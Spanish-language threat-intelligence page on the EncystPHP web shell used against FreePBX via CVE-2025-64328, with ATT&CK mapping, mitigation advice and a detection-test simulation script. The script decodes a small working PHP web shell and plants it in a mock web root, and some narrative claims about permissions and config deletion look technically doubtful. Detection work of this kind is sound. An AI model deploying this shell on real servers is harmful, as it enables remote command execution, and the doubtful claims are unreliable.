SOC Prime Bias: Crítico

03 Feb 2026 19:33

EncystPHP: Web Shell de FreePBX Arma para Compromiso Persistente de Administrador

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
EncystPHP: Web Shell de FreePBX Arma para Compromiso Persistente de Administrador
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

FortiGuard Labs informa sobre un web shell PHP apodado EncystPHP desplegado en instancias expuestas de FreePBX mediante la explotación de CVE-2025-64328. El implante permite la ejecución remota de comandos, provisiona usuarios privilegiados y establece persistencia en capas a través de trabajos cron y cargadores de seguimiento. La actividad está vinculada al grupo INJ3CTOR3 y parece estar dirigida a entornos de telecomunicaciones. Los indicadores publicados incluyen IPs maliciosas, dominios, URLs y múltiples rutas de archivos hostiles.

Investigación

Los investigadores rastrearon el acceso inicial a una vulnerabilidad de inyección de comandos post-autenticación en FreePBX Endpoint Manager. Tras una explotación exitosa, el operador descarga un dropper desde 45.234.176.202, relaja los permisos en componentes clave de PHP, extrae credenciales de la base de datos, crea una cuenta a nivel de root y añade una clave SSH controlada por el atacante. La persistencia se refuerza con entradas cron que recuperan repetidamente droppers adicionales y actualizan artefactos. EncystPHP también se hace pasar por archivos legítimos de FreePBX y manipula marcas de tiempo para reducir la visibilidad durante el triaje rutinario.

Mitigación

Parché FreePBX Endpoint Manager para abordar CVE-2025-64328 (y cualquier corrección relacionada) tan pronto como sea posible. Busca archivos de web shell no autorizados, cronogramas de cron sospechosos y nuevos usuarios locales privilegiados creados. Bloquea HTTP saliente hacia infraestructuras maliciosas conocidas y aplica permisos estrictos, de menor privilegio, en directorios de cara al público y activos PHP.

Respuesta

Al detectar, aisla el servidor PBX afectado, elimina los artefactos de EncystPHP, purga los trabajos cron no autorizados y restablece las cuentas locales y las claves SSH. Revisa logs y copias de seguridad de configuración para determinar cambios, luego aplica actualizaciones de seguridad actuales y fortalece la interfaz web. Valida que no quedan droppers secundarios o mecanismos de persistencia antes de restaurar las operaciones normales de telefonía.

graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef process fill:#ffeb99 %% Nodes initial_access[«<b>Acción</b> – <b>T1190 Explotar Aplicación Expuesta al Público</b><br/>Explotación del gestor de endpoints FreePBX CVE-2025-64328»] class initial_access action tool_wget[«<b>Herramienta</b> – <b>Nombre</b>: wget<br/><b>Descripción</b>: descargar archivos a través de HTTP»] class tool_wget tool process_shell[«<b>Proceso</b> – <b>T1059.004 Intérprete de Comandos y Scripts: Unix Shell</b><br/>Scripts bash decodificados en Base64 c, k.php, test.sh»] class process_shell process file_c[«<b>Archivo</b> – c (script bash)»] class file_c file file_kphp[«<b>Archivo</b> – k.php (dropper PHP)»] class file_kphp file file_testsh[«<b>Archivo</b> – test.sh (script bash)»] class file_testsh file credential_access[«<b>Acción</b> – <b>T1003 Volcado de Credenciales del Sistema Operativo</b><br/>Credenciales de base de datos recolectadas desde /etc/freepbx.conf»] class credential_access action file_freepbxconf[«<b>Archivo</b> – /etc/freepbx.conf»] class file_freepbxconf file priv_esc_exploit[«<b>Acción</b> – <b>T1068 Explotación para Escalada de Privilegios</b>»] class priv_esc_exploit action account_create[«<b>Acción</b> – <b>T1136.001 Crear Cuenta: Cuenta Local</b><br/>Creación del usuario a nivel root newfpbx con hash de contraseña predefinido»] class account_create action persistence_webshell[«<b>Acción</b> – <b>T1505.003 Componente de Software del Servidor: Web Shell</b><br/>Despliegue de EncystPHP camuflado como ajax.php y config.php»] class persistence_webshell action file_ajaxphp[«<b>Archivo</b> – ajax.php (web shell)»] class file_ajaxphp file file_configphp[«<b>Archivo</b> – config.php (web shell)»] class file_configphp file persistence_cron[«<b>Acción</b> – <b>T1053.003 Tarea/Trabajo Programado: Cron</b><br/>Instalación de tareas cron para descargar y ejecutar k.php cada minuto»] class persistence_cron action defense_perm_mod[«<b>Acción</b> – <b>T1222.002 Modificación de Permisos de Archivos y Directorios: Linux</b><br/>Configuración de permisos de archivo a 000 y falsificación de marcas de tiempo»] class defense_perm_mod action defense_masquerade[«<b>Acción</b> – <b>T1036.005 Suplantación</b><br/>Colocación de shells en ubicaciones con apariencia legítima»] class defense_masquerade action defense_indicator_removal[«<b>Acción</b> – <b>T1070.004 Eliminación de Archivos</b> y <b>T1070.006 Timestomp</b><br/>Eliminación de logs, entradas cron y ajuste de marcas de tiempo para coincidir con archivos legítimos»] class defense_indicator_removal action lateral_movement_ssh[«<b>Acción</b> – <b>T1021.004 Servicios Remotos: SSH</b> y <b>T1098.004 Claves Autorizadas SSH</b><br/>Inyección de la clave pública del atacante en authorized_keys»] class lateral_movement_ssh action command_and_control[«<b>Acción</b> – <b>T1105 Transferencia de Herramientas Entrantes</b> y <b>T1071.001 Protocolo de Capa de Aplicación: Protocolos Web</b><br/>Descarga de droppers desde 45.234.176.202 usando wget»] class command_and_control action impact_hijack[«<b>Acción</b> – <b>T1496 Secuestro de Recursos</b><br/>Uso del PBX para realizar llamadas salientes no autorizadas»] class impact_hijack action defense_impair[«<b>Acción</b> – <b>T1562.001 Deteriorar Defensas</b> y <b>T1548 Abuso de Mecanismos de Control de Elevación</b><br/>Desactivación del reporte de errores y uso de contexto administrativo para cambios del sistema»] class defense_impair action %% Edges initial_access –>|usa| tool_wget tool_wget –>|descarga| file_c tool_wget –>|descarga| file_kphp tool_wget –>|descarga| file_testsh initial_access –>|conduce a| process_shell process_shell –>|ejecuta| file_c process_shell –>|ejecuta| file_kphp process_shell –>|ejecuta| file_testsh process_shell –>|conduce a| credential_access credential_access –>|lee| file_freepbxconf credential_access –>|habilita| priv_esc_exploit priv_esc_exploit –>|habilita| account_create account_create –>|habilita| persistence_webshell persistence_webshell –>|crea| file_ajaxphp persistence_webshell –>|crea| file_configphp persistence_webshell –>|habilita| persistence_cron persistence_cron –>|crea| file_kphp persistence_cron –>|usa| tool_wget persistence_cron –>|establece| defense_perm_mod defense_perm_mod –>|soporta| defense_masquerade defense_masquerade –>|soporta| defense_indicator_removal persistence_webshell –>|soporta| lateral_movement_ssh lateral_movement_ssh –>|habilita| command_and_control command_and_control –>|proporciona| impact_hijack command_and_control –>|soporta| defense_impair

Flujo de Ataque

Ejecución de Simulación

Prerequisito: La Comprobación Previa de Telemetría y Línea Base debe haber pasado.

Racional: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa de Ataque y Comandos:

    1. Subir el web shell EncystPHP – El atacante elabora una carga útil PHP codificada en Base64 y la entrega a través de un HTTP POST a la interfaz web de FreePBX, causando que el archivo ajax.php se escriba en /var/www/html/admin/views/ajax.php.
    2. Establecer permisos restrictivos – Inmediatamente después del despliegue, el atacante ejecuta chmod 000 ajax.php para ocultar el shell de usuarios normales y forzar su ejecución bajo la cuenta privilegiada del servidor web (T1222.002).
    3. Eliminar configuración crítica – Para deteriorar la detección y forzar al sistema a recargar con el shell malicioso, el atacante elimina /etc/freepbx.conf (T1070.004, T1562.001).
    4. Activar el shell – Un simple HTTP GET al recién creado ajax.php ejecuta la carga útil, estableciendo un shell reverso (T1105, T1059.004).
  • Guion de Prueba de Regresión: El guion reproduce los pasos 1‑3 en un directorio de prueba controlado (/tmp/freepbx_test) para evitar afectar un sistema de producción.

    # encystphp_simulation.sh
    set -euo pipefail
    
    # ----- Configurar directorios de prueba (reflejando la disposición de FreePBX) -----
    TEST_ROOT="/tmp/freepbx_test"
    WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views"
    CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf"
    
    sudo mkdir -p "${WEB_ROOT}"
    sudo mkdir -p "$(dirname "${CONFIG_FILE}")"
    
    # ----- Crear archivo de configuración ficticio (que será eliminado) -----
    echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null
    
    # ----- Payload de EncystPHP codificado en Base64 (stub muy pequeño) -----
    PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+"
    
    # ----- Paso 1: Desplegar web shell -----
    echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null
    echo "Web shell desplegado en ${WEB_ROOT}/ajax.php"
    
    # ----- Paso 2: Permisos restrictivos (000) -----
    sudo chmod 000 "${WEB_ROOT}/ajax.php"
    echo "Permisos establecidos en 000"
    
    # ----- Paso 3: Eliminar archivo de configuración crítico -----
    sudo rm -f "${CONFIG_FILE}"
    echo "Eliminado ${CONFIG_FILE}"
    
    # ----- Opcional: activar el shell (simulado) -----
    # curl -s "http://localhost/admin/views/ajax.php?cmd=id"
    
    echo "Simulación completa. Verifica SIEM para alertas."
  • Comandos de Limpieza:

    # cleanup_encystphp_simulation.sh
    set -euo pipefail
    TEST_ROOT="/tmp/freepbx_test"
    sudo rm -rf "${TEST_ROOT}"
    echo "Entorno de prueba limpiado."